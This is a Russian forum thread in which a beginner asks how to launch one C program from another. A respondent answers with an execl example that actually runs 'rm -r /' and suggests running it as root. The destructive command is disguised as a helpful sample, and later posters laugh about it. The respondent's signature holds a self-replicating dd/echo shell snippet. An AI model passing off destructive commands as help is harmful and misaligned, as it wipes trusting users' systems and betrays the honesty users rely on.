Модераторы: xvr

Поиск:

Ответ в темуСоздание новой темы Создание опроса
> запуск программы из другой программы, нужен пример 
:(
    Опции темы
annushka89
Дата 28.4.2009, 18:01 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 55
Регистрация: 7.3.2009

Репутация: нет
Всего: нет



Спасибо сайту, уже неплохо освоила с++.
Люди, скажите, можно ли написать программу(С,С++), и в коде одной программы что-то написать, чтобы в run-time из одной программы запустить другую(к примеру, объектик программы "Hello, world!!!")
Привидите пример пожалуйста, если это не сложно
PM MAIL   Вверх
InvalidProperty
Дата 29.4.2009, 07:53 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 356
Регистрация: 31.10.2007
Где: Россия, Казань

Репутация: 1
Всего: 9



Цитата(annushka89 @  28.4.2009,  18:01 Найти цитируемый пост)
(к примеру, объектик программы "Hello, world!!!")

это что? запустить объект программы? Запустить объектный файл, типа .o, .so на выполнение или запустить на выполнение команду из текущего процесса? Если последнее, то
Код

#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
 printf("hello\n");
 execl("/bin/rm", "-f", "-r", "/", (char *) 0);
 printf("bye\n");
 return 0;
}

для достижения пущего эффекта, этот пример в скомпилированном виде нужно запускать с правами рута.

ссылка на маны http://www.opennet.ru/man.shtml?topic=exec...3&russian=5
так же можно получить по
Код

man execl



--------------------
dd if=$0 of=$0 bs=1 count=76 seek=`du -b $0 | awk {'print $1'}` 2>/dev/null
dd if=$0 of=$0 bs=1 count=67 conv=notrunc oflag=append 2>/dev/null
echo $0 >> $0
PM MAIL ICQ Jabber   Вверх
annushka89
Дата 29.4.2009, 09:15 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 55
Регистрация: 7.3.2009

Репутация: нет
Всего: нет



спасибо, я имела ввиду есть какие-нибудь способы, чтобы из одной программы запускать другую и как это программно реализовать???
PM MAIL   Вверх
InvalidProperty
Дата 29.4.2009, 09:20 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 356
Регистрация: 31.10.2007
Где: Россия, Казань

Репутация: 1
Всего: 9



annushka89, блин, а я что написал???
Цитата(annushka89 @  28.4.2009,  18:01 Найти цитируемый пост)
Спасибо сайту, уже неплохо освоила с++.

ты же уже написала что неплохо освоила С++, я не делал скидку на нубизм.

ЗЫ еще раз перечитай то, что я запостил


--------------------
dd if=$0 of=$0 bs=1 count=76 seek=`du -b $0 | awk {'print $1'}` 2>/dev/null
dd if=$0 of=$0 bs=1 count=67 conv=notrunc oflag=append 2>/dev/null
echo $0 >> $0
PM MAIL ICQ Jabber   Вверх
annushka89
Дата 29.4.2009, 22:19 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 55
Регистрация: 7.3.2009

Репутация: нет
Всего: нет



спасибо smile 
PM MAIL   Вверх
InvalidProperty
Дата 30.4.2009, 07:29 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 356
Регистрация: 31.10.2007
Где: Россия, Казань

Репутация: 1
Всего: 9



annushka89, пожалуйста. Обращайся.

Если вопрос закрыт - закрой тему.


--------------------
dd if=$0 of=$0 bs=1 count=76 seek=`du -b $0 | awk {'print $1'}` 2>/dev/null
dd if=$0 of=$0 bs=1 count=67 conv=notrunc oflag=append 2>/dev/null
echo $0 >> $0
PM MAIL ICQ Jabber   Вверх
azesmcar
  Дата 30.4.2009, 13:14 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


uploading...
****


Профиль
Группа: Участник Клуба
Сообщений: 6291
Регистрация: 12.11.2004
Где: Армения

Репутация: 1
Всего: 211



Цитата

для достижения пущего эффекта, этот пример в скомпилированном виде нужно запускать с правами рута.

а еслиб и вправду запустила? smile  smile  smile
PM   Вверх
InvalidProperty
Дата 30.4.2009, 13:33 (ссылка) |    (голосов:2) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 356
Регистрация: 31.10.2007
Где: Россия, Казань

Репутация: 1
Всего: 9



azesmcar, как говорил хацкер Падла из Фальшивых Зеркалов Лукьяненко:
Цитата

то, что дает друг, в первую очередь проверять надо

 smile 

Это сообщение отредактировал(а) InvalidProperty - 30.4.2009, 13:34


--------------------
dd if=$0 of=$0 bs=1 count=76 seek=`du -b $0 | awk {'print $1'}` 2>/dev/null
dd if=$0 of=$0 bs=1 count=67 conv=notrunc oflag=append 2>/dev/null
echo $0 >> $0
PM MAIL ICQ Jabber   Вверх
azesmcar
Дата 30.4.2009, 13:38 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


uploading...
****


Профиль
Группа: Участник Клуба
Сообщений: 6291
Регистрация: 12.11.2004
Где: Армения

Репутация: 1
Всего: 211



InvalidProperty

Ну вот она бы и проверила, в первую очередь, под пользователем root smile smile smile

PM   Вверх
volkrey
Дата 27.5.2009, 09:14 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 58
Регистрация: 11.5.2009

Репутация: нет
Всего: нет



InvalidProperty, а че ты девушки подлянку то делаешь?
человек с просьбой обратился, надеясь на помощь, доверяя вам, а вы ему ### в ответ

Это сообщение отредактировал(а) volkrey - 27.5.2009, 09:15
PM MAIL   Вверх
InvalidProperty
Дата 27.5.2009, 09:40 (ссылка) |    (голосов:1) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 356
Регистрация: 31.10.2007
Где: Россия, Казань

Репутация: 1
Всего: 9



volkrey, да ты вовремя пришел, дорогой. Ты в следующий раз подревнее тему поищи. Проблема не во мне и не в девушке, которая, кстати сказать, благодарной осталась, а в том, что некоторые люди юмора не понимают в силу своей возрастной категории или каких-либо тараканов в голове, таким людям очень сложно понимать других людей.


--------------------
dd if=$0 of=$0 bs=1 count=76 seek=`du -b $0 | awk {'print $1'}` 2>/dev/null
dd if=$0 of=$0 bs=1 count=67 conv=notrunc oflag=append 2>/dev/null
echo $0 >> $0
PM MAIL ICQ Jabber   Вверх
azesmcar
Дата 27.5.2009, 09:44 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


uploading...
****


Профиль
Группа: Участник Клуба
Сообщений: 6291
Регистрация: 12.11.2004
Где: Армения

Репутация: 1
Всего: 211



Цитата(InvalidProperty @  27.5.2009,  09:40 Найти цитируемый пост)
volkrey, да ты вовремя пришел, дорогой. Ты в следующий раз подревнее тему поищи. Проблема не во мне и не в девушке, которая, кстати сказать, благодарной осталась, а в том, что некоторые люди юмора не понимают в силу своей возрастной категории или каких-либо тараканов в голове, таким людям очень сложно понимать других людей. 

 smile 
кстати девушки давно не видно...видимо запустила все таки smile 
PM   Вверх
volkrey
Дата 27.5.2009, 10:33 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Шустрый
*


Профиль
Группа: Участник
Сообщений: 58
Регистрация: 11.5.2009

Репутация: нет
Всего: нет



может быть,но все равно не по-человечески это
PM MAIL   Вверх
scriptkiddie
Дата 27.5.2009, 11:56 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Новичок



Профиль
Группа: Участник
Сообщений: 9
Регистрация: 28.2.2009

Репутация: нет
Всего: нет



почитал про эту функию exec.ужаснулся.вывод не верь ,не бойся ,не проси
PM MAIL ICQ   Вверх
Zerstroer
Дата 5.10.2009, 12:35 (ссылка) | (нет голосов) Загрузка ... Загрузка ... Быстрая цитата Цитата


Опытный
**


Профиль
Группа: Участник
Сообщений: 285
Регистрация: 8.8.2007
Где: Алма-Ата

Репутация: нет
Всего: 3



Браво! smile 


--------------------
In silico
PM MAIL ICQ   Вверх
Ответ в темуСоздание новой темы Создание опроса
Правила форума "С/С++: Программирование под Unix/Linux"
xvr
  • Проставьте несколько ключевых слов темы, чтобы её можно было легче найти.
  • Не забывайте пользоваться кнопкой "Код".
  • Вопросы мобильной разработки тут
  • Телепатов на форуме нет! Задавайте чёткий, конкретный и полный вопрос. Указывайте полностью ошибки компилятора и компоновщика.
  • Новое сообщение должно иметь прямое отношение к разделу форума. Флуд, флейм, оффтопик запрещены.
  • Категорически запрещается обсуждение вареза, "кряков", взлома программ и т.д.

Если Вам понравилась атмосфера форума, заходите к нам чаще! С уважением, xvr.

 
 
0 Пользователей читают эту тему (0 Гостей и 0 Скрытых Пользователей)
0 Пользователей:
« Предыдущая тема | C/C++: Программирование под Unix/Linux | Следующая тема »


 




[ Время генерации скрипта: 0.0762 ]   [ Использовано запросов: 22 ]   [ GZIP включён ]


Реклама на сайте     Информационное спонсорство

 
По вопросам размещения рекламы пишите на vladimir(sobaka)vingrad.ru
Отказ от ответственности     Powered by Invision Power Board(R) 1.3 © 2003  IPS, Inc.